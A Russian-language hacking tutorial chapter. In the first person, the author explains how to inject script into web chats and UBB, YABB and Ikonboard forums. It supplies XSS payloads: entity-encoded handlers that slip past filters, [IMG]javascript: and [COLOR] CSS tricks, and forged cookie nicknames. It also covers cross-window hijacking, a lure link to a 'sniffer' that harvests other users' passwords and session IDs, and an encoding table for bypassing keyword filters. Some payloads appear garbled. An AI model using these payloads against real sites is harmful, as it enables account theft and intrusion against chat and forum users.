    Как видно из предыдущей главы, в чате Т свободно можно было втиснуть скрипты, и естественно, что я творил там что хотел (вплоть до того, что назначал себя админом 255 уровня :) . Это конечно сильно не нравилось разработчику чата (с которым я кстати активно общался), и он как бы "пофиксил" баг следующим способом: в сообщениях чатлан он заменял слово script на script , где латинские буквы с и p были заменены на такие же, но из русской раскладки, и естественно, HTML не понимал их. В результате комбинация типа ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) не работала. Несмотря на то, что по прежнему можно было сниферить чат и ставить обработчики на события типа onmouseover (где префикс javascript: не обязателен, поскольку он по умолчанию считается языком обработчиков событий), но невозможность вставить скрипт, который бы сам запускался меня не устраивала. И тут меня снова выручила многоступенчатая система трансляции HTML. Как уже было замечено, при компиляции HTML в первую очередь компилирует теги и их параметры, а лишь затем компилируется содержимое обработчиков. А теперь вспомним, что каждый символ помимо "обычного" представления имеет закодированное представление (типа ½ или ½ ), которое превращается в обычный символ, при трансляции HTML. Возникает вопрос: на какой именно стадии трансляции происходит раскодировка кода в символ? Несложные эксперименты показывают, что последовательность такова:

    Компиляция HTML > Раскодировка символов > Компиляция обработчиков

    А посему, содержимое обработчиков можно не стеняясь посылать в закодированном виде, при этом фильтры чата его пропускают, а HTML уже на этапе трансляции превращает их в нормальный вид и исполняет! Проверте сами на таком примере (обработчик alert() заменен кодовой комбинацией):

    <code>&lt;font onclick=alert()&gt;Click me&lt;/font&gt;</code>

    Таким образом послав комбинацию

    ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) на экране чатовцев послушно появился алерт :) .

    Замечу две особенности : 1. Содержимое тега

    &lt;script&gt; нельзя посылать в закодированном виде, его содержимое не раскодируется HTML-ом; 2. Знак = после имени параметра тега и кавычки, ограничивающие обработчики, транслируются до раскодировки, и поэтому их посылать в закодированном виде нельзя (а жаль :{ ).

    Описанная особенность HTML значительно расширяет множество "крякаемых" чатов. Ведь достаточно что бы чат пропускал в поле ника символы & и ; , а в теле чата ник фигурировал в каком нибудь обработчике (типа href="javascript:msg('ник')" ), и в результате, залогинившись под ником '+alert()+' (который после компиляции будет выглядеть как '+alert()+' ), мы получаем скрипт срабатывающий при нажатии на ник.

    Aber das ist noch nicht alles. Оказывается джаваскриптовский обработчик в параметре href можно писать и в юникоде! Вместо ника '+alert()+' можно логинится под '%2Balert()%2B' , результат будет тот же :) . Однако раскодировка юникода проходит только в обработчиках href (или в других, где должен присутствовать адрес). В других обработчиках (например onclick ) раскодировка юникода не происходит.

    Спустя некоторое время, админ запретил символ обратного апострофа в именах юзеров, и ник `='A'=` больше не проходил. Немного подумав, я нашел другой ник, который фактически делал то же самое: Don't= . Принцип его работы я думаю вы поймете сами (если вы читали предыдущие главы).

    Взлом UBB / YABB / IB форумов

    1. Через UBB тег [IMG] . В UBB/YABB форумах можно вставлять картинки, указав URL адрес в UBB теге [IMG]. Например: [IMG]http://myserver.ru/logo.gif[/IMG] такой тег вставляет в сообщение картинку с адресом http://myserver.ru/logo.gif . При этом ничего не мешает вставить например такой тег [IMG]javascript:alert()[/IMG]. Как вы догадываетесь, такой адрес будет выдавать каждому кто посмотрит на ваше сообщение алерт вместо картинки. Правда некоторые версии UBB требуют что бы указанный адрес указывал на файл с расширениями gif или jpg , но эта проблема легко решаема. Просто ставим в конце точку с запятой и имя файла картинки : [IMG]javascript:alert();a.jpg[/IMG] . Конечно это повлечет ошибку джава скрипта, но нам уже все равно, поскольку первая часть скрипта сработает :) . Есть еще одна дыра в теге IMG: в некоторых версиях этот тег пропускает кавычку, как результат работает следующий пример:

    [IMG]"s=`s.jpg[/IMG]`style="background-image:url('javascript:alert()')" . Результат- тот же самый что и в первом примере.

    Приведенный глюк работает как в UBB так и в YABB форумах. Учитывая еще тот факт, что UBB форум хранит пароль и логин пользователя в кукисах, которые читаются страничкой форума, и хранятся в переменных, то запустив в тело чата сниффер, мы можем легко выковырять пароли и логины всякого пользователя, который посмотрит на наш мессаг :) ).

    2. Как уже отмечалось, UBB форум хранит логин, ник и пароль пользователя в кукисах. Оказывается, что в некоторых случаях UBB форум берет ник пользователя не из своей БД, а из кукиса пользователя, при этом проверки ника на теги и любые символы не происходит! Таким образом, если в отсылаемом на сервер мессаге подделать кукис, и вставить вместо ника тег скрипта, то форум спокойно вставит этот тег в тело форума! Правда разработчики перемудрили, и в некоторых частях форума вставляются ники из БД, а в некоторых - из кукисов. Мне известны три случая, когда ник берется из кукиса: 1. На главной странице форума (там где пишется кто автор последнего сообщения в такой-то теме) 2. При ответе на реплику "с цитированием" - во фразе цитирования. 3. При редактировании сообщения (во фразе "отредактированно тем-то"). Отмечу, что 3.06.2002 фирма UBB выпустила патч на дырку в кукисах (не без моего скромного участия). Однако, несмотря на это, большинство форумов по прежнему используют старые версии :) ).

    3. А вот еще одна дырка в форумах http://www.ikonboard.com: помимо того, что там срабатывает дырка связанная с тегом [IMG] , там есть еще и дырка в теге [COLOR] . Например посылая в форум такое сообщение

    [color=red;background-image:url('javascript:alert()')]Привет[/color] на экран каждого кто просмотрит ваше сообщение выскочет алерт. Суть дыры думаю не стоит объяснять: понятно и так.

    Всякая всячина

    Система безопасности аля микрософт подразумевает невозможность доступа с загруженной HTML странички к любой информации на машине, в том числе и к другим страничкам, открытым в данный момент. Однако эта система имеет некоторые странности в работе. Так, например, метод window.open("http://ya.ru", "privat") джаваскрипта должен открывать новое окно с именем "privat" и загружать в него сайт ya.ru. Это так и происходит если... окно с таким именем еще не открыто. Если же одноименное окно или фрейм уже открыт, то сайт загружается в уже открытое окно (или фрейм). А прикол заключатеся в том, что это окно может не иметь никакого отношения к нашему скрипту, и вообще принадлежать другому сайту )). Убедитесь сами: Откройте в новом окне ссылку: http://chat.bigmir.net и зайдите в чат. А потом кликнете здесь: тыц , после чего посмотрите на свой приват в чате :) ). Красиво ?

    В некоторых чатах существет автоматическая вставка ссылок. А ведь можно послать и ссылку на сниффер :) . Типа вы посылаете сообщение Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал http://fig.vam.com/cgi-bin/girl.cgi , а в общак вставляется

    Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал &amp;lt;a href=http://fig.vam.com/cgi-bin/girl.cgi target=_blank&gt;http://fig.vam.com/cgi-bin/girl.cgi После чего ваш друг смело тыкает в ссылку и ничего не увидев, советует вам выпить рассольчика, на что вы виновато каетесь Ой, Билли (Вилли/Джони/Джимми), я ошибся :( , держа в руках IP адрес , номер сессии или пароль с логином вашегособеседника :) .

    А вот еще один фокус на грани фантастики. Этот фокус я услышал от одного из админов чата. Правда сам его не проверял, но полагаю что это вполне может работать. Как вы наверное видели, во многих чатах есть счетчики посетителей. Всякие там Spy или top100 . А ведь счетчик автоматически фиксирует множество параметров посетителей, в том числе IP адреса, парамтеры среды окружения, поле referer и т.д., то есть фактически является сниффером. А статистика счетчика может быть открыта для всех... Улавливаете :)

    Хочу еще раз остановится на взломе чатов через цвет. Некоторые чаты пропускают любые символы в поле цвета, однако при вставке в тело чата, перед введенным значением цвета, вставляют символ # . Например если пользователь задал цвет aaff00 , то в тело чата этот цвет вставится в виде <font color=#aaff00> . В силу особенностей атрибута color, выяснилось следующее: если впереди цвета автоматом встявляется символ # , то чат ломается только если поле цвета пропускает пробел. Если же цвет пропускает любые символы, но не пробел, то взломать чат нельзя (можно только вызвать глюки например тегом <xml> задаваемым вместо цвета). Не буду объяснять почему это происходит, просто примите это на веру :) .

    В предыдущих главах уже упоминалось про метод вставки скриптов через background-image:url(javascript:...) . Эту запись можно сократить до background:url(javascript:...) . Результат тот же самый. Часто в чатах или форумах стоят фильтрв на ключевые слова типа javascript. Это можно обходить следующим образом: background:url(VBScriptt:alert()) oder background:expression(alert())
    Табличка часто применяемых кодов:
    Symbol Десятичная кодировка 16-ая кодировка* Символьная кодировка Unicode
    " " " " "
    ' ' '   '
    ` ` `   `
    <пробел>   +
    = = =   %3D
    < < < < %3C
    > > > > %3E
    \ \ \   %5C
    % % %   %
    + + +   %2B
    <короткий дефис> ­ ­ ­ %AD
    & & & & &

    *-в некоторых случаях (если символ стоит в конце строки) точку с запятой можно опустить.

    Es wäre nicht überflüssig für Ihre Freunde, diese Informationen herauszufinden, den Artikel mit ihnen zu teilen!

    Erweitern / Reduzieren Kommentarfenster erweitern / minimieren

    Kommentare

    Bedenken Sie, dass der Inhalt und der Ton Ihrer Nachricht die Gefühle realer Menschen verletzen, Respekt und Toleranz gegenüber Ihren Gesprächspartnern zeigen können, auch wenn Sie ihre Meinung nicht teilen nicht nur virtuell, sondern auch die reale Welt. Alle Kommentare werden aus dem Index ausgeblendet, Spam wird kontrolliert.
    Jetzt kann jeder Artikel veröffentlichen.
    Versuchen Sie es zuerst!
    Artikel schreiben
    Gefällt es dir Abonnieren Sie RSS- Feeds,
    der Erste sein, der Informationen erhält
    über alle wichtigen Ereignisse des Landes und der Welt.
    Sie können auch shram.kiev.ua unterstützen, klicken Sie auf: